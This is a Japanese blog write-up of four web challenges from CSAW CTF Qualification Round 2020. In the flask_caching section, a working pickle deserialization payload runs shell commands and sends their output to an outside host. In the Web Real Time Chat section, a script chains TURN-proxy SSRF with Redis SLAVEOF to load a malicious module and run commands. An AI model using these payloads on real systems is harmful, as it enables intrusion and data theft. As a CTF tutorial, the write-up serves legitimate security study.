st98 の日記帳


[ctf] CSAW CTF Qualification Round 2020 の write-up

9 月 12 日から 9 月 14 日にかけて開催された CSAW CTF Qualification Round 2020 に、チーム zer0pts として参加しました。最終的にチームで 3555 点を獲得し、順位は 5 点以上得点した 1214 チーム中 11 位でした。うち、私は 4 問を解いて 1050 点を入れました。

他のメンバーが書いた write-up はこちら。

以下、私の write-up です。

[Web 50] widthless (? solves)

(URL)

与えられた URL にアクセスすると、普通の Web ページが表示されました。

普通の Web ページ

Signup for my newsletter というフォームがありますが、何を入力しても Whoops, couldn't add, sorry! と言われてしまいます。

ソースを見てみても普通の HTML が返ってきているだけのように思えますが、HTML をコピーして適当なテキストエディタに貼り付けてみると </html> の後ろに文字があることがわかります。どんな文字があるか確認しましょう。

$ python
>>> import requests
>>> req = requests.get('(省略)').text
>>> s = req[req.find('</html>')+len('</html>'):]
>>> set(s)
{'\u200f', '\u200d', '\u200b', '\u200c', '\u200e'}

\u200b から \u200f までの 5 種類の文字があるようです。それぞれ 0 から 4 に置換してみましょう。

>>> t = ''.join(str(ord(c) - 0x200b) for c in s)
>>> t
'0000343000012400003240000322000044000004310000302000024200003030000143000032300004420000244000040200003020000201000042100002210000124'

5 進数でしょうか。7 桁区切りで BCD のような感じで読んでみましょう。

>>> import re
>>> ''.join(chr(int(c, 5)) for c in re.findall(r'.{7}', t))
"b'YWxtMHN0XzJfM3o='"

なにか文字列が出てきました。これを Base64 デコードすると alm0st_2_3z になります。これをフォームに入力すると /ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd> と表示されました。

/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z にアクセスするとまた同じような Web ページが出てきました。似たような処理をもう一度やってみます。

>>> req = requests.get('http://(省略)/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z').text
>>> s = re.findall(r'[\u200b-\u200f]', req)
>>> t = ''.join(str(ord(c) - 0x200b) for c in s)
>>> ''.join(chr(int(c, 5)) for c in re.findall(r'.{7}', t))
'755f756e6831645f6d33'
>>> 
>>> import binascii
>>> binascii.unhexlify('755f756e6831645f6d33')
b'u_unh1d_m3'

フォームに u_unh1d_m3 と入力すると /19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2> と出力されました。

/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3 にアクセスするとフラグが得られました。

flag{gu3ss_u_f0und_m3}

[Web 250] whistleblow (95 solves)

One of your coworkers in the cloud security department sent you an urgent email, probably about some privacy concerns for your company.

ヒント 1: Presigning is always better than postsigning
ヒント 2: Isn’t one of the pieces you find a folder? Look for flag.txt!

添付ファイル: letter

letter は以下のような内容でした。

Hey Fellow Coworker,

Heard you were coming into the Sacramento office today. I have some sensitive information for you to read out about company stored at ad586b62e3b5921bd86fe2efa4919208 once you are settled in. Make sure you're a valid user!
Don't read it all yet since they might be watching. Be sure to read it once you are back in Columbus.

Act quickly! All of this stuff will disappear a week from 19:53:23 on September 9th 2020.

- Totally Loyal Coworker

情報はこれ以外には与えられておらず、ad586b62e3b5921bd86fe2efa4919208 ってなんやねんと悩んでいたところ、aventador さんがこれは AWS 関連のなにかではないかというアイデアを出していました。

なるほど、問題文の “One of your coworkers in the cloud security department sent you an urgent email” やヒントの用語などを見るとそれっぽい雰囲気があります。

いろいろ試していると、(ランダムな文字列).s3.amazonaws.com にアクセスすると NoSuchBucket というようなエラーメッセージが返ってくるのに対して、ad586b62e3b5921bd86fe2efa4919208.s3.amazonaws.com にアクセスすると AccessDenied というエラーメッセージが返ってくることに気づきました。ad586b62e3b5921bd86fe2efa4919208 は Amazon S3 のバケット名で間違いないでしょう。

AWS CLI の設定をしてから aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208 でどのようなファイルがあるか確認してみましょう。

$ aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208
                           PRE 06745a2d-18cd-477a-b045-481af29337c7/
                           PRE 23b699f9-bc97-4704-9013-305fce7c8360/
                           PRE 24f0f220-1c69-42e8-8c10-cc1d8b8d2a30/
                           PRE 286ef40f-cee0-4325-a65e-44d3e99b5498/
                           PRE 2967f8c2-4651-4710-bcfb-2f0f70ecea5c/
                           PRE 2b4bb8f9-559e-41ed-9f34-88b67e3021c2/
                           PRE 32ff8884-6eb9-4bc5-8108-0e84a761fe2c/
                           PRE 3a00dd08-541a-4c9f-b85e-ade6839aa4c0/
                           PRE 465d332a-dd23-459b-a475-26273b4de01c/
                           PRE 64c83ba4-8a37-4db8-b039-11d62d19a136/
                           PRE 6c748996-e05a-408a-8ed8-925bf01be752/
                           PRE 7092a3ec-8b3a-4f24-bdbd-23124af06a41/
                           PRE 84874ee9-cee1-4d6b-9d7a-24a9e4f470c8/
                           PRE 95e94188-4dd1-42d8-a627-b5a7ded71372/
                           PRE a50eb136-de5f-4bb6-94ef-e1ee89c26b05/
                           PRE b2896abb-92e7-4f76-9d8a-5df55b86cfd3/
                           PRE c05abd3c-444a-4dc3-9edc-bb22293e1e0f/
                           PRE c172e521-e50d-4e30-864b-f12d72f8bf7a/
                           PRE c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/
                           PRE ff4ad932-5828-496b-abdc-6281600309c6/

いっぱいフォルダがあります。aws s3 cp s3://ad586b62e3b5921bd86fe2efa4919208 ./output --recursive を実行すると全てのファイルをダウンロードすることができました。

どのようなファイルがあるか確認します。

$ grep "" output/*/*/*
output/06745a2d-18cd-477a-b045-481af29337c7/398c4eb4-f081-4e8b-86ed-5a1e5ddb9de1/a7941336-d167-4855-b36c-208f47418704.txt:noezdntlakykwxzziydwxqyzddcjap
output/06745a2d-18cd-477a-b045-481af29337c7/398c4eb4-f081-4e8b-86ed-5a1e5ddb9de1/b0b92a9c-bcf0-4c2a-9e52-b0635c2915b9.txt:nxixpivfmkexnyreylqdkkxnpoavvs
output/06745a2d-18cd-477a-b045-481af29337c7/6bb1100f-9a7c-471e-a54d-e6edd33c2c1b/2a2f6364-f50c-4cdd-bfa5-fef7b28d6cda.txt:qhkvovdjxuueppwqqerbdvomfbtalw
output/06745a2d-18cd-477a-b045-481af29337c7/6bb1100f-9a7c-471e-a54d-e6edd33c2c1b/55a885b5-ad4f-44d5-9ba1-abaa1a6870d8.txt:nlduaqausjuxepoaomxpvbfxrlxpfy
output/06745a2d-18cd-477a-b045-481af29337c7/9ac3b19b-41db-42cf-a7b1-5c074407eaaf/4e0bbf0a-a2ac-40f0-84de-79612bba4c8c.txt:ejoixnpvtuvaqrasvngghfokoquuzo
...
output/ff4ad932-5828-496b-abdc-6281600309c6/4fa6601c-0cfb-40b4-b9ef-56ba0d315897/ce2cc60a-09e1-4a8d-b543-357fa7153c6b.txt:amyidqghgojfsmihwmqmfbxywwuxoi
output/ff4ad932-5828-496b-abdc-6281600309c6/7ce68465-dfd0-4538-b127-9fb0041291f5/6e7db85c-19a4-4b0e-85e9-6ba388aa1c25.txt:qiogeuymuabjeddblnxlbywerwfsto
output/ff4ad932-5828-496b-abdc-6281600309c6/7ce68465-dfd0-4538-b127-9fb0041291f5/a84d9b1c-e609-42b8-b12d-d44b1fc3cc18.txt:pjstjqidxtjgbzwvrspsmagxbreqcx
output/ff4ad932-5828-496b-abdc-6281600309c6/95af4394-b823-4507-be49-885f971f8836/5fed4838-9c2c-49a7-8903-21ead9df2acb.txt:hiupkyaydqfjmdtsutriuovvmdfgfd
output/ff4ad932-5828-496b-abdc-6281600309c6/95af4394-b823-4507-be49-885f971f8836/97e85c72-0733-45ab-9a97-3030355ad4be.txt:trhfjmlnaopwcmwvgbiecagfyaybao

ゴミファイルがいっぱいあります。この中からふるつきさんは以下の 4 つの有用そうなファイルを見つけていました。

output/3a00dd08-541a-4c9f-b85e-ade6839aa4c0/3fa52aaa-78ed-4261-8bcc-04fc0b817395/4bcd2707-48db-4c04-9ec7-df522de2ccd7.txt:s3://super-top-secret-dont-look
output/6c748996-e05a-408a-8ed8-925bf01be752/c1fe922c-aec8-4908-a97d-398029d39236/77010958-c8ed-4a7b-802a-f189d0f76ec0.txt:3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b
output/7092a3ec-8b3a-4f24-bdbd-23124af06a41/7db7f9b0-ab6a-4605-9fc1-1cc8ba7877a1/1b56b43a-7525-429a-9777-02602b52dc1e.txt:.sorry/.for/.nothing/
output/c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/acbad485-dd20-4295-99fa-f45e3d5bdb45/1eaddd5d-fe24-4deb-8e6e-5463f395fa03.txt:AKIAQHTF3NZUTQBCUQCK

super-top-secret-dont-look は別のバケット名、AKIAQHTF3NZUTQBCUQCK はアクセスキーだろうとのことでした。.sorry/.for/.nothing/flag.txt の場所でしょう。

ヒントから、これらの情報を使って flag.txt の署名付き URL を当てればよいと推測できます。署名付き URL がどのようなパラメータを持つか確認してみましょう。

$ aws s3 presign s3://super-top-secret-dont-look/test.txt --region us-east-2
https://super-top-secret-dont-look.s3.amazonaws.com/test.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA5PTYIEAS5AFN6PJQ%2F20200914%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200914T171119Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6d67968052aabdf36cd3e3a9d08974ec2faf4ba55484501ab96517ac68eff815

X-Amz-Signature の文字数から 3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b はシグネチャであると推測できます。また、もう一度 letter を読み直すと、

といったヒントに気づきます。

これらの情報をもとに http://super-top-secret-dont-look.s3.us-east-2.amazonaws.com/.sorry/.for/.nothing/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAQHTF3NZUTQBCUQCK%2F20200909%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200909T195323Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b にアクセスするとフラグが得られました。

flag{pwn3d_th3_buck3ts}

[Web 300] flask_caching (180 solves)

cache all the things (this is python3)

(URL)

添付ファイル: app.py

app.py は以下のような内容でした。

#!/usr/bin/env python3

from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os

app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False

cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])


@app.route('/', methods=['GET', 'POST'])
def notes_post():
    if request.method == 'GET':
        return '''
        <h4>Post a note</h4>
        <form method=POST enctype=multipart/form-data>
        <input name=title placeholder=title>
        <input type=file name=content placeholder=content>
        <input type=submit>
        </form>
        '''

    print(request.form, flush=True)
    print(request.files, flush=True)
    title = request.form.get('title', default=None)
    content = request.files.get('content', default=None)

    if title is None or content is None:
        return 'Missing fields', 400

    content = content.stream.read()

    if len(title) > 100 or len(content) > 256:
        return 'Too long', 400

    redis.setex(name=title, value=content, time=3)  # Note will only live for max 30 seconds

    return 'Thanks!'


# This caching stuff is cool! Lets make a bunch of cached functions.

@cache.cached(timeout=3)
def _test0():
    return 'test'
@app.route('/test0')
def test0():
    _test0()
    return 'test'

...

@cache.cached(timeout=3)
def _test30():
    return 'test'
@app.route('/test30')
def test30():
    _test30()
    return 'test'


if __name__ == "__main__":
    app.run('0.0.0.0', 5000)

文字数制限はあるものの、好きなキーと値で Redis に書き込むことができるようです。また、Flask-Caching というものを使って _test0 から _test30 までの 31 個の関数を Redis にキャッシュしていることがわかります。実際にどのようにして Redis にキャッシュされているか確認しましょう。

まずキャッシュ用の Redis サーバを立ち上げておきます。

$ docker run --rm -d -p 6379:6379 redis:5
a24447710d839071a1a6be23a0634af434d670a12c4672261dd9a836ba870c0f
$ docker exec -it a2 redis-cli
127.0.0.1:6379> 

pip install redis flask Flask-Caching でライブラリをインストールしておき、app.py 中の CACHE_REDIS_HOST を修正し、ついでに cache.cached のタイムアウトを長めにしておきます。

app.py を立ち上げて、/test0 にアクセスして _test0 をキャッシュさせましょう。Redis 側でどうなっているか確認します。

127.0.0.1:6379> keys *
1) "flask_cache_view//test0"
127.0.0.1:6379> get "flask_cache_view//test0"
"!\x80\x03X\x04\x00\x00\x00testq\x00."

flask_cache_view//test0 というキーに !\x80\x03X\x04\x00\x00\x00testq\x00. というバイト列が格納されています。80 から始まるバイト列といえば Python の Pickle です。

ソースコードを確認すると b"!" + pickle.dumps(value) と確かに Pickle が使われていることがわかりました。

ロード時のチェックもバイト列が ! から始まっているか見ているだけです。

Redis に書き込まれるキャッシュのキーは予測可能なもので、その値は Pickle でシリアライズされたオブジェクトであることがわかりました。ファイルのアップロード機能を使えば RCE できそうな雰囲気があります。

うまくデシリアライズされれば適当な URL を開くコードが実行されるような文字列を flask_cache_view//test1 に書き込み、/test1 にアクセスすることで Redis からその文字列を読み出させてデシリアライズさせるようなスクリプトを書きましょう。

import requests
import pickle

HOST = 'http://(省略)/'

payload = b"""c__builtin__\nexec\n(S'req = __import__("urllib.request").request; r = req.Request("https://(省略)"); req.urlopen(r)'\ntR."""

requests.post(HOST, data={
  'title': 'flask_cache_view//test1'
}, files={
  'content': ('payload', b'!' + payload, 'application/octet-stream')
})
req = requests.get(HOST + 'test1')
print(req.text)

これを実行すると、問題サーバから指定した URL へのアクセスが来ました。

payload を c__builtin__\nexec\n(S'sp = __import__("subprocess"); req = __import__("urllib.request").request; r = req.Request("https://(省略)", sp.check_output("ls -la /", shell=True)); req.urlopen(r)'\ntR. に変えて実行すると以下のようなデータが POST されました。

total 72
drwxr-xr-x    1 root     root          4096 Sep 12 00:15 .
drwxr-xr-x    1 root     root          4096 Sep 12 00:15 ..
-rwxr-xr-x    1 root     root             0 Sep 12 00:15 .dockerenv
drwxr-xr-x    1 root     root          4096 Aug  4 04:13 bin
drwxr-xr-x    5 root     root           340 Sep 12 17:12 dev
drwxr-xr-x    1 root     root          4096 Sep 12 00:15 etc
-r--r--r--    1 root     root            17 Sep 10 22:51 flag.txt
drwxr-xr-x    2 root     root          4096 May 29 14:20 home
drwxr-xr-x    1 root     root          4096 Aug  4 04:13 lib
drwxr-xr-x    5 root     root          4096 May 29 14:20 media
drwxr-xr-x    2 root     root          4096 May 29 14:20 mnt
drwxr-xr-x    1 root     root          4096 Sep 10 23:04 opt
dr-xr-xr-x  531 root     root             0 Sep 12 17:12 proc
drwx------    1 root     root          4096 Sep 10 23:04 root
drwxr-xr-x    1 root     root          4096 Sep 10 23:04 run
drwxr-xr-x    1 root     root          4096 Aug  4 04:13 sbin
drwxr-xr-x    2 root     root          4096 May 29 14:20 srv
dr-xr-xr-x   13 root     root             0 Sep 12 17:12 sys
drwxrwxrwt    1 root     root          4096 Sep 13 00:05 tmp
drwxr-xr-x    1 root     root          4096 Sep 10 23:04 usr
drwxr-xr-x    1 root     root          4096 Aug  4 04:13 var

実行させる OS コマンドを cat /flag.txt に変えるとフラグが得られました。

flag{f1@sK_10rD}

[Web 450] Web Real Time Chat (39 solves)

I started playing around with some fancy new Web 3.1 technologies! This RTC tech looks cool, but there’s a lot of setup to get it working… I hope it’s all secure.

(URL)

添付ファイル: Dockerfile, app.py, supervisord.conf

supervisord.conf は以下のような内容でした。

[supervisord]
nodaemon=true

[program:gunicorn3]
command=gunicorn3 --workers=10 -b 0.0.0.0:5000 app:app
autorestart=true
user=www

[program:coturn]
command=turnserver
autorestart=true
user=www

[program:redis]
command=timeout 300s redis-server --bind 0.0.0.0
autorestart=true
user=www

Gunicorn、coturn、Redis を同じマシンで動かしているようです。

Dockerfile は以下のような内容でした。

FROM ubuntu:18.04

RUN adduser --disabled-password --gecos '' www

RUN apt-get update && apt-get install -y coturn redis python3 python3-pip gunicorn3 supervisor

WORKDIR app
COPY requirements.txt .
RUN pip3 install -r requirements.txt

COPY flag.txt /
RUN chmod 444 /flag.txt

COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN echo 'min-port=49000' >> /etc/turnserver.conf
RUN echo 'max-port=49100' >> /etc/turnserver.conf

COPY app.py .
COPY static static

EXPOSE 3478
EXPOSE 5000

CMD ["supervisord"]

フラグは /flag.txt にあるようです。Gunicorn、coturn、Redis のいずれかで読むことができるのでしょう。また、3478 番ポート (coturn) と 5000 番ポートを公開しています。

TURN サーバである coturn が怪しいなあと思いつつもどう攻めればよいかわからず悩んでいたところ、aventador さんが #333419 TURN server allows TCP and UDP proxying to internal network, localhost and meta-data services という脆弱性のレポートを見つけていました。参考になりそうです。

まず staaldraad/turner を使って turner -server (省略):3478 を実行しておきます。curl -x http://localhost:8080 http://ifconf.co/ip すると問題サーバの IP アドレスが表示されました。SSRF ができているようです。

いろいろ試していると、0.0.0.0:6379 にアクセスすることで Redis にも SSRF できることに気づきました。

$ curl -x http://localhost:8080 http://0.0.0.0:6379
-ERR wrong number of arguments for 'get' command

Redis での SSRF といえば CONFIG SETSLAVEOF を使った攻撃です。とりあえず SLAVEOF ができるか確認しましょう。

import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 8080))
sock.send("""CONNECT 0.0.0.0:6379 HTTP/1.1
Host: 0.0.0.0:6379

""".replace('\n', '\r\n').encode())
print(sock.recv(1024))

sock.send(b'slaveof (省略) 8001\r\n')
print(sock.recv(10240).decode())

time.sleep(5)

sock.send(b'slaveof no one\r\n')
print(sock.recv(10240).decode())
sock.send(b'quit\r\n')
print(sock.recv(10240).decode())
sock.close()

これを実行すると、SLAVEOF で指定した IP アドレスに問題サーバから接続があり、PING と送られてきました。SLAVEOF が有効なようです。

SLAVEOF による攻撃のためのツールに Dliv3/redis-rogue-server があります。これをダウンロードして python redis-rogue-server.py --server-only --lport 8001 で 8001 番ポートで攻撃用のサーバを立ち上げておきます。

攻撃用のスクリプトを書きます。

import socket
import time

def send(sock, cmd):
  sock.send(cmd + b'\r\n')
  print(sock.recv(10240))

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 8080))
sock.send("""CONNECT 0.0.0.0:6379 HTTP/1.1
Host: 0.0.0.0:6379

""".replace('\n', '\r\n').encode())
print(sock.recv(1024))

send(sock, b'slaveof no one')
send(sock, b'config set dir /tmp/')
send(sock, b'config set dbfilename expppp.so')

send(sock, b'slaveof (省略) 8001')

time.sleep(5)

send(sock, b'module load /tmp/expppp.so')
send(sock, b'system.exec "cat /flag.txt"')

send(sock, b'slaveof no one')
send(sock, b'quit')

sock.close()

実行しましょう。

$ python3 a.py 
b'HTTP/1.1 200 OK\r\nDate: Mon, 14 Sep 2020 18:02:20 GMT\r\nTransfer-Encoding: chunked\r\n\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'$49\r\n0\n96\nflag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}\n\r\n'
b'+OK\r\n'
b'+OK\r\n'

フラグが得られました。

flag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳